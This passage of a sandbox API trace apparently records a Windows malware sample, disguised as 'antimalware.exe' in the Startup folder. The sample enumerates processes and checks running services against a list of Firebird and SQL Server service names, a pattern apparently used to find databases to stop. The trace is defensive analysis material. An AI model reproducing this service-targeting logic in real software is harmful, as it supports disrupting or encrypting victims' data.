	[0052.955] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0052.956] lstrlenW (lpString="conhost.exe") returned 11
	[0052.956] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0052.959] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0052.959] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0052.960] lstrlenW (lpString="cmd.exe") returned 7
	[0052.960] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0052.961] lstrlenW (lpString="conhost.exe") returned 11
	[0052.961] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.962] lstrlenW (lpString="svchost.exe") returned 11
	[0052.962] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0052.962] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0052.962] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0052.963] lstrlenW (lpString="conhost.exe") returned 11
	[0052.963] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0052.964] lstrlenW (lpString="mode.com") returned 8
	[0052.964] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0052.965] CloseHandle (hObject=0x390) returned 1
	[0052.965] Sleep (dwMilliseconds=0x1f4) 
	[0054.271] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fd28
	[0054.272] EnumServicesStatusExW (in: hSCManager=0x68fd28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0054.272] GetLastError () returned 0xea
	[0054.272] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c76) returned 0x43d4cd0
	[0054.272] EnumServicesStatusExW (in: hSCManager=0x68fd28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43d4cd0, cbBufSize=0x1c76, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43d4cd0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0054.273] CloseServiceHandle (hSCObject=0x68fd28) returned 1
	[0054.273] lstrlenW (lpString="Appinfo") returned 7
	[0054.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0054.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0054.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0054.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0054.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0054.273] lstrlenW (lpString="AppXSvc") returned 7
	[0054.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0054.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0054.273] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0054.273] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0054.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0054.273] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0054.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0054.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0054.273] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0054.273] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0054.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0054.273] lstrlenW (lpString="Audiosrv") returned 8
	[0054.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0054.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0054.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0054.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0054.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0054.273] lstrlenW (lpString="BFE") returned 3
	[0054.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0054.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0054.274] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0054.274] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0054.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0054.274] lstrlenW (lpString="BITS") returned 4
	[0054.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0054.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0054.274] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0054.274] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0054.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0054.274] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0054.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0054.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0054.274] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0054.274] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0054.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0054.274] lstrlenW (lpString="CDPSvc") returned 6
	[0054.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0054.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0054.274] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0054.274] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0054.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0054.274] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0054.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0054.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0054.274] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0054.274] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0054.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0054.274] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0054.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0054.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0054.274] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0054.274] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0054.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0054.274] lstrlenW (lpString="CryptSvc") returned 8
	[0054.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0054.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0054.275] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0054.275] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0054.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0054.275] lstrlenW (lpString="DcomLaunch") returned 10
	[0054.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0054.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0054.275] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0054.275] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0054.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0054.275] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0054.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0054.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0054.275] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0054.275] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0054.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0054.275] lstrlenW (lpString="Dhcp") returned 4
	[0054.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0054.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0054.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0054.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0054.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0054.275] lstrlenW (lpString="Dnscache") returned 8
	[0054.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0054.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0054.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0054.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0054.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0054.275] lstrlenW (lpString="DoSvc") returned 5
	[0054.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0054.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0054.275] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0054.275] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0054.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0054.275] lstrlenW (lpString="DPS") returned 3
	[0054.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0054.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0054.276] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0054.276] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0054.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0054.276] lstrlenW (lpString="DusmSvc") returned 7
	[0054.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0054.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0054.276] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0054.276] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0054.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0054.276] lstrlenW (lpString="EventLog") returned 8
	[0054.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0054.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0054.276] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0054.276] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0054.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0054.276] lstrlenW (lpString="EventSystem") returned 11
	[0054.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0054.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0054.276] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0054.276] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0054.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0054.277] lstrlenW (lpString="FontCache") returned 9
	[0054.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0054.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0054.277] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0054.277] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0054.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0054.277] lstrlenW (lpString="gpsvc") returned 5
	[0054.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0054.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0054.277] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0054.277] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0054.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0054.277] lstrlenW (lpString="iphlpsvc") returned 8
	[0054.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0054.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0054.277] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0054.277] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0054.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0054.277] lstrlenW (lpString="KeyIso") returned 6
	[0054.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0054.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0054.277] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0054.277] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0054.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0054.277] lstrlenW (lpString="LanmanServer") returned 12
	[0054.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0054.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0054.277] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0054.277] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0054.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0054.277] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0054.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0054.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0054.277] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0054.277] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0054.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0054.277] lstrlenW (lpString="lfsvc") returned 5
	[0054.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0054.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0054.278] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0054.278] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0054.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0054.278] lstrlenW (lpString="lmhosts") returned 7
	[0054.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0054.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0054.278] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0054.278] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0054.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0054.278] lstrlenW (lpString="LSM") returned 3
	[0054.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0054.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0054.278] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0054.278] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0054.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0054.278] lstrlenW (lpString="MpsSvc") returned 6
	[0054.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0054.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0054.278] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0054.278] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0054.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0054.278] lstrlenW (lpString="NcbService") returned 10
	[0054.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0054.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0054.278] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0054.278] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0054.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0054.279] lstrlenW (lpString="netprofm") returned 8
	[0054.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0054.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0054.279] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0054.279] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0054.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0054.279] lstrlenW (lpString="NlaSvc") returned 6
	[0054.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0054.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0054.279] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0054.279] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0054.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0054.279] lstrlenW (lpString="nsi") returned 3
	[0054.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0054.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0054.279] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0054.279] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0054.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0054.279] lstrlenW (lpString="PcaSvc") returned 6
	[0054.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0054.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0054.279] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0054.279] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0054.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0054.279] lstrlenW (lpString="PlugPlay") returned 8
	[0054.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0054.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0054.279] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0054.279] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0054.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0054.279] lstrlenW (lpString="Power") returned 5
	[0054.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0054.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0054.279] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0054.279] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0054.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0054.280] lstrlenW (lpString="ProfSvc") returned 7
	[0054.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0054.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0054.280] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0054.280] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0054.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0054.280] lstrlenW (lpString="RpcEptMapper") returned 12
	[0054.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0054.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0054.280] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0054.280] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0054.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0054.280] lstrlenW (lpString="RpcSs") returned 5
	[0054.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0054.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0054.280] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0054.280] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0054.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0054.280] lstrlenW (lpString="SamSs") returned 5
	[0054.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0054.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0054.280] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0054.280] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0054.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0054.280] lstrlenW (lpString="Schedule") returned 8
	[0054.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0054.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0054.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0054.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0054.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0054.280] lstrlenW (lpString="SecurityHealthService") returned 21
	[0054.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0054.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0054.280] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0054.280] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0054.281] lstrlenW (lpString="SENS") returned 4
	[0054.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0054.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0054.281] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0054.281] lstrlenW (lpString="ShellHWDetection") returned 16
	[0054.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0054.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0054.281] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0054.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0054.281] lstrlenW (lpString="Spooler") returned 7
